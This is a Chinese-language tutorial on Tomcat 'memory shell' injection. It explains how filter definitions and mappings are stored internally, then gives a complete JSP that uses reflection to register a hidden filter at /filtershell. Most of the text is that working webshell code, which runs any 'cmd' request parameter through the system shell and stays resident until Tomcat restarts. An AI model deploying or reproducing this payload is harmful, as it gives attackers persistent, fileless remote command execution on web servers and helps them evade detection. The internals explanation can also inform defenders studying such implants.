web.xml配置Filter
调试点
主要有这几个关键类存储我们在web.xml中的属性
代码中的context.findFilterMaps() 即是我们创建的filter存储的地方
可以看到filterConfigs除了存放了filterDef还保存了当时的context.
- filterConfigs
- filterDefs
- filterDef
- filterMaps
filterDef相当于web.xml中的
<filter>
<filter-name>FilterTest</filter-name>
<filter-class>com.sorry.bug.CustomFilter</filter-class>
</filter>
filterMaps中则存储了web.xml中的,不过按照顺序来存储.
<filter-mapping>
<filter-name>FilterTest</filter-name>
<url-pattern>/filtertest</url-pattern>
</filter-mapping>
那么要想注入filter型内存马,则需要替代web.xml实现注入.
- 创建恶意filter
- 用filterDef将filter封装
- 将filterDef添加到filterDefs和filterConfigs中
- 创建一个新的filterMap将url和filter进行绑定,并添加到filterMaps中
要注意的是,因为filter生效会有一个先后顺序,所以一般来讲我们还需要把我们的filter给移动到FilterChain的第一位去.
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启.
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import = "org.apache.catalina.Context" %>
<%@ page import = "org.apache.catalina.core.ApplicationContext" %>
<%@ page import = "org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import = "org.apache.catalina.core.StandardContext" %>
<!-- tomcat 8/9 -->
<%@page import = "org.apache.tomcat.util.descriptor.web.FilterMap"%>
<%@page import = "org.apache.tomcat.util.descriptor.web.FilterDef"%>
<!-- tomcat 7 -->
<!--org.apache.catalina.deploy.FilterMap"
" org.apache.catalina.deploy.FilterDef"
-->
<%@ page import = "javax.servlet.*" %>
<%@ page import = "javax.servlet.annotation.WebServlet" %>
<%@ page import = "javax.servlet.http.HttpServlet" %>
<%@ page import = "javax.servlet.http.HttpServletRequest" %>
<%@ page import = "javax.servlet.http.HttpServletResponse" %>
<%@ page import = "java.io.IOException" %>
<%@ page import = "java.lang.reflect.Constructor" %>
<%@ page import = "java.lang.reflect.Field" %>
<%@ page import = "java.lang.reflect.InvocationTargetException" %>
<%@ page import = "java.util.Map" %>
<%@ page import="java.io.PrintWriter" %>
<%
class InsertFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse rsp = (HttpServletResponse) servletResponse;
String command = req.getParameter("cmd");
PrintWriter writer = rsp.getWriter();
if (command != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder("cmd.exe", "/c", command);
}else{
p = new java.lang.ProcessBuilder("/bin/sh", "-c", command);
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}
filterChain.doFilter(servletRequest, servletResponse);
}
public void destroy() {}
}
%>
<%
String name="InsertFilter";
//ServletContext servletContext = request.getServletContext();
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if(filterConfigs.get(name) == null){
InsertFilter insertFilter = new InsertFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(insertFilter.getClass().getName());
filterDef.setFilter(insertFilter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/filtershell");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.write("Inject Success");
}else{
out.write("Injected");
}
%>